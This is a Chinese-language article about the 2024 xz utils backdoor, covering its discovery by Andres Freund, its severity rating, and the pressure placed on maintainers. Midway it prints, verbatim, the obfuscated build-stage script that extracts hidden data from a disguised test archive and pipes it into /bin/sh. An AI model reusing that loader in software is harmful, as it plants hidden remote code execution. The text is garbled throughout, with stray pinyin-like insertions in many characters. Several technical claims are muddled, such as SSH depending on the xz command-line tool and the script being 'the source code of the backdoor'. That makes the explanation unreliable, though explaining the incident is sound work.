安全專家對(duì) SSH 漏洞感到恐慌
SSH 中觸發(fā)的漏洞可以允許黑客接管服務(wù)器。安全專家感到恐慌。這次攻擊可能持續(xù)了兩年多,需要大量的資源和技術(shù)技能。
在過(guò)去的幾個(gè)月里,每個(gè)人都在談?wù)?SSH 中觸發(fā)的漏洞。通常對(duì)它的描述相當(dāng)復(fù)雜。這只是某個(gè)隨機(jī)應(yīng)用程序中的另一個(gè)漏洞嗎?如果是這樣,為什么網(wǎng)絡(luò)安全專家如此關(guān)注這一漏洞,而在線論壇上充斥著恐慌的安全專家?讓我們一探究竟!
正如我們?cè)?wiz.io 上讀到的,在 xz utils 的 5.6.0
和 5.6.1
版本中發(fā)現(xiàn)了一個(gè)后門,影響了 SSH。據(jù)我們了解,xz 是一個(gè)命令行壓縮工具,由 lzma 和 xz 組成,并影響了 SSH。
2024年3月29日星期五,Andres Freund向Openwall郵件列表發(fā)送了一封電子郵件。郵件列表對(duì)于精通技術(shù)的人來(lái)說(shuō)就像Discord一樣,而Openwall是一個(gè)保護(hù)開源代碼的項(xiàng)目。
正是在那里,Andres 分享了他令人不安的發(fā)現(xiàn)。
服務(wù)器接管
他當(dāng)時(shí)正在使用安全Shell協(xié)議(SSH)進(jìn)行一些工作。對(duì)于幾乎每一個(gè)需要連接到服務(wù)器的人來(lái)說(shuō),SSH就像意大利面的叉子一樣。開發(fā)人員、DevOps、SecOps以及技術(shù)領(lǐng)域的每個(gè)人都在使用SSH安全地連接到服務(wù)器。即使服務(wù)器也使用SSH連接到其他服務(wù)器。
所以Andres當(dāng)時(shí)正在做正常的技術(shù)工作,但有些事情不對(duì)勁,不僅僅是2024年橄欖油的價(jià)格。當(dāng)他使用SSH登錄到一臺(tái)服務(wù)器時(shí),服務(wù)器開始準(zhǔn)備起飛。
風(fēng)扇轉(zhuǎn)動(dòng)得越來(lái)越快,通常安靜的服務(wù)器開始發(fā)出吸氣和打嗝的聲音。在這種時(shí)候,人們會(huì)檢查他們是否忘記關(guān)閉Windows時(shí)鐘應(yīng)用程序,那個(gè)耗費(fèi)CPU資源的野獸。
但是Andres使用的是Debian。所以他能夠立即排除這種可能性。此外,他注意到了更多的問(wèn)題。Valgrind開始報(bào)告內(nèi)存出現(xiàn)了一些問(wèn)題。
這可能是什么原因呢?Windows Explorer突然開始挖掘比特幣了嗎?不可能是這樣的!
通常人們會(huì)責(zé)怪服務(wù)器,然后忘記整個(gè)問(wèn)題,但有些事情困擾著Andres,他決定進(jìn)行調(diào)查。
在深入研究之后,他注意到實(shí)際上是ssh導(dǎo)致了所有這些癥狀。這很奇怪,因?yàn)閟sh不顯示廣告,你也不能在上面玩《古墓麗影:決定版》。
那么這個(gè)幾乎不消耗卡路里的應(yīng)用程序到底是如何讓服務(wù)器如此劇烈運(yùn)轉(zhuǎn)的呢?
兔子洞深處
兔子洞深處 Andres決定再深入一點(diǎn)。他啟動(dòng)了診斷工具,越來(lái)越接近找出問(wèn)題的具體原因??隙ㄊ莝sh,但ssh中的哪個(gè)具體部分呢?他注意到是xz。
深入下去,發(fā)現(xiàn)xz的一個(gè)特定部分導(dǎo)致了CPU和內(nèi)存的狂歡派對(duì)——liblzma。
總結(jié)一下。Liblzma是xz命令行工具使用的壓縮庫(kù)。SSH使用了該命令行工具。這是計(jì)算機(jī)程序中正常的依賴鏈,在這種情況下,正是SSH的深層依賴liblzma導(dǎo)致了問(wèn)題。
感謝開源,Andres能夠上網(wǎng)查看究竟發(fā)生了什么。他能夠看到Debian的xz utils的源代碼。
Andres發(fā)現(xiàn)了大量關(guān)于惡意代碼如何工作的信息。有兩個(gè)測(cè)試文件實(shí)際上是存檔文件。一個(gè)復(fù)雜的操作系統(tǒng)導(dǎo)致這些存檔文件在構(gòu)建過(guò)程中被提取出來(lái),并以包含后門的方式修改SSH構(gòu)建,讓黑客可以登錄到服務(wù)器。
有趣的是,Andres發(fā)現(xiàn)這個(gè)后門還在開發(fā)中。隨著xz的后續(xù)版本發(fā)布,后門的作者試圖隱藏后門的存在,并實(shí)際修復(fù)了導(dǎo)致Valgrind錯(cuò)誤列表像圣誕樹一樣閃爍的內(nèi)存問(wèn)題。
幸運(yùn)的是,這個(gè)后門的作者相當(dāng)?shù)图?jí),這讓Andres意識(shí)到有些不對(duì)勁。再過(guò)幾天或幾周,就沒人會(huì)注意到有什么問(wèn)題了。
The source code of the backdoor:
####Hello####
#??Z?.hj?
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####
特別是因?yàn)檎麄€(gè)后門程序是以一種隱藏在某些倉(cāng)庫(kù)中、只在特定環(huán)境下激活的方式構(gòu)建的。Debian操作系統(tǒng)是決定使用該后門的一個(gè)重要因素。"
后門的影響
安全專家對(duì)這一發(fā)現(xiàn)感到震驚,每一天都帶來(lái)更多可怕的細(xì)節(jié)。通常當(dāng)你有一臺(tái)服務(wù)器,并想要修復(fù)一個(gè)安全漏洞時(shí),你可以使用SSH登錄并更新軟件。
但在這種情況下,SSH本身就存在一個(gè)后門。在這種情況下該怎么辦?
Wiz.io建議立即停止使用、升級(jí)受影響的服務(wù)器或者降級(jí)到不存在黑客可乘之機(jī)的版本。美國(guó)國(guó)家標(biāo)準(zhǔn)與技術(shù)研究院(NIST)對(duì)這個(gè)漏洞給予了10分的最高評(píng)級(jí)(滿分10分)。美國(guó)國(guó)家標(biāo)準(zhǔn)與技術(shù)研究院很少會(huì)對(duì)漏洞給予如此高的評(píng)級(jí)。
上一次發(fā)生這種情況是在 2024 年 2 月 21 日,針對(duì) CVE-2024-1709:“ConnectWise ScreenConnect 23.9.7 及之前版本受身份驗(yàn)證繞過(guò)漏洞的影響,該漏洞可能允許攻擊者直接訪問(wèn)機(jī)密信息或關(guān)鍵系統(tǒng)?!?/p>
說(shuō) SecOps 目前正面臨困境還算輕描淡寫。現(xiàn)實(shí)情況是非常糟糕的。即使目前沒有關(guān)于針對(duì)已經(jīng)設(shè)置的后門的任何主動(dòng)攻擊信息,形勢(shì)依然嚴(yán)峻。
此外,代碼庫(kù)中那個(gè)令人不安的“Hello World”玩笑似乎暗示這只是類似攻擊的開始,實(shí)際上要將后門部署到目前這種程度,已經(jīng)涉及到相當(dāng)復(fù)雜的操作和技術(shù)知識(shí)。
這是支持核心維護(hù)者的信號(hào)
關(guān)于這次攻擊的所有細(xì)節(jié)都需要被發(fā)現(xiàn),未來(lái)也將成為許多學(xué)術(shù)論文的主題。但得益于 Rob Mensching 的努力,我們已經(jīng)能了解到許多內(nèi)容。
一些專家認(rèn)為這并非一次快速攻擊,而是一個(gè)經(jīng)過(guò)精心策劃的計(jì)劃。兩年前,一些人開始持續(xù)向 xz 項(xiàng)目的維護(hù)者施壓,要求將維護(hù)權(quán)交給能夠繼續(xù)項(xiàng)目的新人員。公開的溝通信息表明,還存在一些隱晦的實(shí)質(zhì)壓力。
最終,新維護(hù)者接手項(xiàng)目并開展工作,一切都很順利,直到后來(lái)被感染的檔案被加入項(xiàng)目。
我不確定那些向原 xz 維護(hù)者施壓的人是否參與其中。也許是,也許不是。不管怎樣,新維護(hù)者就是這樣上任的。同樣,我也不能確定賈譚是否真的就是行動(dòng)背后的關(guān)鍵人物,因?yàn)樗?她的系統(tǒng)也可能已經(jīng)被入侵。這里存在很多不確定因素。
由于維護(hù)者的系統(tǒng)也可能被攻陷,這方面存在很多不確定性。
這里強(qiáng)調(diào)的一個(gè)重要問(wèn)題是核心庫(kù)的維護(hù)者有多脆弱。我們所有人都依賴這些庫(kù),但他們通常無(wú)法從這項(xiàng)工作中獲得收入,可能處于失業(yè)狀態(tài),可能身陷危機(jī),或面臨困境。
這些維護(hù)者沒有得到他們所需的所有資源,這是無(wú)法接受的。我們需要一種解決方案,讓整個(gè)社區(qū)(包括企業(yè))全面地物質(zhì)上支持這些人,并提供他們需要的建議,使他們能夠?qū)W⒂谧约旱捻?xiàng)目而不陷入任何陷阱。在這個(gè)案例中,如果原維護(hù)者能繼續(xù)項(xiàng)目工作,他本可以立即阻止漏洞的產(chǎn)生!
開源萬(wàn)歲
得益于所有相關(guān)部分的開源性質(zhì),我們得以深入了解這次后門攻擊。如果無(wú)法查看源代碼,安德烈斯就無(wú)法如此迅速地向世界發(fā)出警報(bào)。對(duì)于封閉系統(tǒng)來(lái)說(shuō),從創(chuàng)建漏洞報(bào)告到公司復(fù)現(xiàn)、調(diào)查和修復(fù)可能需要數(shù)周甚至數(shù)月,導(dǎo)致后門在野外持續(xù)更長(zhǎng)時(shí)間。
由于我們知道黑客引入后門的每一步操作,開源開發(fā)者和調(diào)查人員將能夠封堵這一路上開啟的每一扇門。這意味著即使如此復(fù)雜的攻擊可能發(fā)生,潛在的攻擊面也會(huì)被封鎖。
在這場(chǎng)戰(zhàn)斗中,開源就像一個(gè)自愈的生物,在每次病毒侵襲后變得愈加強(qiáng)大。當(dāng)然,我們?nèi)孕枰^續(xù)改進(jìn)。